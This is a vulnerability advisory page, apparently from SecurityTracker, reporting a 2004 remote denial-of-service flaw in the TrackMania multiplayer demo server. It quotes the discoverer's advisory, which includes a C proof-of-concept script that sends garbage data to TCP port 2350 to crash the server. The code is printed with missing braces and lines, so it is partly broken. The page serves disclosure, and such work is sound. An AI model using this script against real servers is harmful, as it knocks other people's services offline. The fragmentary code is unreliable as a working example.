Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Game)  >   TrackMania Vendors:   Nadeo
TrackMania Game Demo Can Be Crashed By Remote Users
SecurityTracker Alert ID:  1008983
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Feb 9 2004
Impact:   Denial of service via network
Exploit Included:  Yes  

Description:   Arnaud Jacques (scrap) from reported a denial of service vulnerability in the TrackMania game in the demo version. A remote user can cause the game to crash.

It is reported that a remote user can send some 'garbage' data to TCP port 2350 on the target server to cause the multiplayer game server to crash.

A demonstration exploit script is provided in the Source Message and at:

The vendor has reportedly been notified.

The original advisory is available at:

Impact:   A remote user can cause the game server to crash.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Exception handling error
Underlying OS:  Windows (Any)

Message History:   None.

 Source Message Contents

Subject:  TrackMania Demo Denial of Service

TrackMania Demo Denial of Service
The original document can be found at

.oO  Overview Oo.
TrackMania Demo Denial of Service
Discovered on 2003, November, 30th
Vendor: TrackMania Official website

TrackMania is a "Stunt Car Racer" like game. The multiplayer demo of this game
is subject to denial of service.

.oO  Details Oo.
The multiplayer game use TCP port 2350 to communicate. If you send some
garbage to this port, it will shutdown the game server.

.oO  Exploit Oo.
Here is the proof of concept :

* [kill-trackmania.c]
* A remote DoS that affects the Trackmania game server
* by Scrap
* gcc kill-trackmania.c -o kill-trackmania -O2

#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
int sock;
struct sockaddr_in sin;
struct hostent *he;
unsigned long start;
char buffer[1024];
unsigned long counter;

printf("\n [kill-trackmania.c] by Scrap /\n");

if (argc<2)

printf("Usage: %s target\n\n",argv[0]);

if ((he=gethostbyname(argv[1])) == NULL)


sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);

if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
printf("\n\t Sending Bomb... \n");
send(sock, "Bomb from\n\n",17,0);

printf("\t Bomb sent...\n");


Download kill-trackmania.c at

.oO  Solution Oo.
The vendor has been informed and has not solved the problem.

.oO  Discovered by Oo.
Arnaud Jacques aka scrap


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, LLC